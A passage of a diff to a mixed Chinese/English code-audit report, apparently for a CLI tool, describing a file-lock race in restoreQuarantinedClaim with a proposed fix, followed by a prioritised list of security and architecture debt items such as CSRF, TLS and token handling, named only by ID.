- 机理:In `acquire`, when a stale (dead-owner) claim is found, `reclaimClaim` (419-460) quarantines it via `quarantineClaim` (302-333) and removes the dead directory, then returns 'removed' and the loop republishes. If instead the reclaim is aborted mid-way with `restoreQuarantinedClaim` (289-300), the restore does `fs.linkSync(handle.quarantine, claimPath(lockPath))` — a no-replace hard link. If a *third* process published a new claim at the canonical claim path in the meantime, linkSync throws EEXIST and the error propagates out of `withFileLock` (the comment explicitly says 'retain this quarantine inode and surface the collision'). The 'replaced' branches that return normally (343, 361-366) exist, but `restoreQuarantinedClaim` has no EEXIST fallback — the collision surfaces as a hard failure even though a valid live lock is held by someone else.
|
|
329
|
+
- 失败场景:Process A holds the registry lock and crashes after publishing its claim. Processes B and C both see the dead claim; B quarantines it while C (winning the publish race) creates a fresh claim at the canonical path. B's reclaim detects 'replaced' and calls `restoreQuarantinedClaim`, whose linkSync hits EEXIST and throws — B's `registerProject` fails the CLI command (or, for `registerProjectActivity`, the update is silently dropped). The registry write that should have succeeded fails with a file-lock plumbing error, and a quarantine directory (`<lock>.claim.release.<token>.<random>`) is left behind.
|
|
330
|
+
- 修复:In `restoreQuarantinedClaim`, treat EEXIST on the canonical claim path as the expected replacement outcome: verify the winning claim is valid and simply unlink the quarantine inode, returning 'replaced' instead of throwing.
|
|
331
|
+
- 验证:undefined
|
|
332
|
+
|
|
333
|
+
## 4. 遗留架构债与建议
|
|
334
|
+
|
|
335
|
+
**架构债**:`bin/hcc.mjs` 已达 ~8457 行(xx-09);安全辅助函数双份实现(生产用 bin 内副本,lib 导出副本仅回归在测——DUP-1/drift-6,须合并);多项目轮询仍硬编码主 ctx;主 token 永不轮换。
|
|
336
|
+
|
|
337
|
+
**P0(发版前,5 项)**:① CS-01 pending-gap 状态机修复 + 稳态收敛测试;② v1-csrf-tokenless(无凭据/无 token 的非安全方法执行同源检查 + X-Frame-Options/CSP + 禁 web 会话带 command);③ TLS-1/TLS-2(env 覆盖支持 CA、cmdDown 区分探测失败与已停止、tls/trust-proxy 不匹配拒绝降级);④ xx-02 runTmux 加超时;⑤ v1-token-query-csrf-bypass(?token= 仅限 / 与 /login;带 cookie 一律同源检查)。
|
|
338
|
+
|
|
339
|
+
**P1(12 项)**:时钟/锁证据 CS-03/05/06/07/08;阻塞点 xx-01/xx-03/CLIENT-1;备份轮换 v1-02 + 失败负缓存 xx-05 + 备份前重读 v1-03;指纹入 DB v1-fingerprint-forge + shim 回退 shim-1 + 旧身份别名 identity-3 + logout 风暴 ui-4 + Origin 端口规范化 PROXY-2。
|
|
340
|
+
|
|
341
|
+
**P2**:低危安全(PROXY-1、ws-5、cookie-7、xx-04 tokenMatches 化、v1-detected-restart、v1-ws-client-leak);运维正确性(v1-05/06/08、xx-07/08);解析健壮性(xx-06、tmux-8);架构(xx-09 拆分、bg-04、主 token 轮换)。
|